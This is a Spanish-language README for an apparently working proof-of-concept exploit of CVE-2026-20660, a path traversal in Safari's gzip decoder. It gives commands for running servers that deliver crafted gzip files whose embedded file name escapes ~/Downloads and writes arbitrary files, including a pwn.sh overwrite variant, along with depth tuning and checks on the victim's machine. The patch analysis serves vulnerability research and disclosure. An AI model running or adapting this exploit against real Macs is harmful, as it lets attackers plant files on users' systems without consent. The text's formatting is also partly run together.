
Exploit PoC independiente para CVE-2026-20660: path traversal en el decodificador gzip de Safari. El servidor entrega un gzip malicioso para escribir archivos arbitrarios en macOS vulnerable.
Esta carpeta incluye una prueba de concepto independiente para:
NSGZipDecoder traversal de ruta mediante FNAME de gzipserver.py: servidor PoC principal con profundidad de traversal y nombre de destino configurablesserver_overwrite.py: variante enfocada que escribe ../../pwn.shREADME.md: notas de reproducción y registro de operaciónEl diff del parche muestra que -[NSGZipDecoder filenameWithOriginalFilename:] cambió su comportamiento:
lastPathComponent antes de devolverlo.Esto bloquea componentes de directorio como ../ y rutas absolutas en FNAME.
El nombre de archivo HTTP puede ser limpio y aun así el exploit tiene éxito.
Content-Disposition: limpio (ejemplo: report.gz)../../proof.txt)La sanitización del lado de Safari se aplica principalmente a los nombres de la capa HTTP, no al FNAME de gzip incrustado que consume NSGZipDecoder en el flujo vulnerable.
Desde la raíz del repositorio:
python3 exploit/cve-2026-20660/server.py --port 8888 --depth 2
Abrir en Safari vulnerable:
http://<server-ip>:8888/
Haz clic en Trigger depth=2.
Después de activar el exploit, verifica el resultado de la escritura en la máquina objetivo:
ls -la ~/cve-2026-20660-proof.txt
cat ~/cve-2026-20660-proof.txt
Para la variante de sobrescritura:
python3 exploit/cve-2026-20660/server_overwrite.py --port 9999
Luego abre:
http://<server-ip>:9999/
Comprueba:
ls -la ~/pwn.sh
cat ~/pwn.sh
server.py)--bind, -b: dirección de enlace (por defecto 0.0.0.0)--port, -p: puerto de escucha (por defecto 8888)--depth, -d: profundidad de traversal (número de repeticiones de ../, por defecto 2)--name, -n: nombre del archivo de salida objetivoEjemplos:
# write to ~/proof.txt when depth matches runtime directory nesting
python3 exploit/cve-2026-20660/server.py -p 8888 -d 2 -n proof.txt
# explicit absolute path test (if resolver permits)
python3 exploit/cve-2026-20660/server.py -p 8888
# then use: /download?depth=0&fname=/tmp/proof.txt
~/Downloads, por lo que la profundidad a menudo debe ser >= 2 para escapar a ~/.2, 3, 4) y vuelve a probar.Usar únicamente en entornos de pruebas autorizados.
Para una explicación más detallada, consulta: